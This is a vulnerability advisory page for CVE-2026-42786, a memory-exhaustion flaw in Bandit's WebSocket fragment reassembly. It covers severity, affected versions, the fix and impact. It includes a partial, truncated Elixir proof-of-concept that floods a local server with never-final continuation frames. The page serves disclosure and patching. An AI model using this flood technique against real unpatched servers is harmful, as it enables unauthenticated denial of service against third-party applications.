Skip to main content
VulnerabilityPublished

CVE-2026-42786: Bandit Buffers Unbounded WebSocket Continuation Frames, Allowing Unauthenticated Memory Exhaustion

Affects banditSource GCVE Database

0
Authoritative record:CVE-2026-42786· High 8.7

Not known to be exploited · CVSS 8.7 High : upgrade to 1.11.0 soon.

Data as of 27 Oct 2026, 00:07 UTC

CVSS 4.0 base score
8.7High
How severe the flaw is on the 0–10 CVSS scale.
Patch
Available – fixed in 1.11.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 1 May 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponised: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

What to do

Upgrade bandit to 1.11.0.

Affected software

ProductAffectedFixed in
HexbanditAffected
  • >=0.5.0 <1.11.0
Fixed in
  • 1.11.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary A single unauthenticated WebSocket client can exhaust server memory in any Bandit-fronted application that accepts WebSocket connections. The fragmented-message reassembly path appends every `Continuation{fin: false}` frame's payload to a per-connection iolist with no cumulative size cap, so a peer that streams continuation frames indefinitely (never setting `fin=1`) grows BEAM heap linearly until the OS or a supervisor kills the process. `max_frame_size` only bounds individual frames; there is no `max_message_size` option available today. ### Details The bug is in `lib/bandit/websocket/connection.ex`, in the fragment branch of `handle_frame/3` (around lines 80–95). When a non-final continuation arrives, Bandit builds the next accumulator as `[connection.fragment_frame.data | frame.data]` with no running byte-count check. A peer can therefore stream max-sized continuations forever and grow BEAM resident memory without bound. When `fin=1` finally arrives (if ever), `IO.iodata_to_binary/1` flattens the whole iolist, briefly doubling peak memory. The attacker does not need to send `fin=1` — simply holding the connection open is enough to pin the bytes. **Suggested fix:** track a running cumulative byte count on the connection state and add a configurable `max_message_size`. When exceeded, terminate the connection with RFC 6455 close code 1009 (`:max_message_size_exceeded`) instead of continuing to append. ### PoC A self-contained reproduction script is below. It starts Bandit 1.10 on `127.0.0.1:4321` with a trivial `WebSock` echo handler, completes a WebSocket handshake, sends one text frame with `fin=0`, then streams up to 4096 continuation frames of 1 MiB each — also `fin=0`. A background sampler logs `:erlang.memory(:total)` every 250 ms. A correctly-fixed server would close the connection with code 1009 once `max_message_size` is exceeded. ### Impact Unauthenticated DoS via memory exhaustion. A single connection can drive BEAM heap to gigabytes; a small number of concurrent connections OOM-kills the host. **Affected by default.** No opt-in flag, no configuration option to mitigate. Any Phoenix application is on the vulnerable path: Phoenix Channels and LiveView both run over `WebSock` on Bandit, so a stock Phoenix app exposes this surface as soon as it accepts socket connections — including the LiveView socket that almost every Phoenix 1.7+ app mounts at `/live`. Plug apps that mount any custom `WebSock` handler are equally affected. Applications that expose no WebSocket endpoints are not. The exploit also survives almost every common deployment topology: L4 load balancers, HTTP-mode reverse proxies, and TLS-terminating edge proxies (Cloudflare, Fly.io, Fastly, etc.) all tunnel post-upgrade WebSocket frames opaquely without inspecting size. There is no application-level workaround either — the accumulation happens *before* `WebSock.handle_in/2` is called, so by the time the application could check, Bandit has already buffered the iolist. The fix belongs in Bandit. ### Script and Logs ```elixir # Bandit WebSocket fragmented-message accumulation PoC. # # lib/bandit/websocket/connection.ex:80-95 appends every incoming # Continuation{fin: false} frame's payload to connection.fragment_frame.data # as iodata, with no cumulative cap. `max_frame_size` only bounds *each* # frame; a peer that streams an unbounded number of max-sized continuations # without ever setting fin=1 grows the iolist linearly in BEAM memory until # the OS kills the process. The eventual IO.iodata_to_binary/1 in the # fin=true branch also momentarily doubles peak memory. # # This script starts Bandit 1.10 on 127.0.0.1:4321, opens a WebSocket, # sends one text frame with fin=0 followed by a continuous stream of # continuation frames (also fin=0), and samples BEAM memory while doing so. # A correct server would close the connection with 1009 once a configured # max-message-size is exceeded; the buggy server keeps growing. # # Run: elixir scripts/bandit/ws_fragment_memory_exhaustion.exs Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"}, {:websock_adapter, "~> 0.5"} ]) defmodule EchoSocket do @behaviour WebSock def init(_opts), do: {:ok, %{}} def handle_in(_message, state), do: {:ok, state} def handle_info(_message, state), do: {:ok, state} def terminate(_reason, state), do: {:ok, state} end defmodule DemoApp do @behaviour Plug def init(opts), do: opts def call(conn, _opts) do conn |> WebSockAdapter.upgrade(EchoSocket, %{}, []) |> Plug.Conn.halt() end end defmodule FragmentFlood do @port 4321 @fragment_payload_bytes 1 * 1024 * 1024 @fragment_count 4096 @sample_every_ms 250 def run do {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port) sock = ws_handshake!() sampler_pid = spawn_link(&sample_memory_loop/0) payload_chunk = :binary.copy(<<0x41>>, @fragment_payload_bytes) starting_text_frame = build_frame(0x1, _fin = false, pay

References

Community reviews

Loading reviews…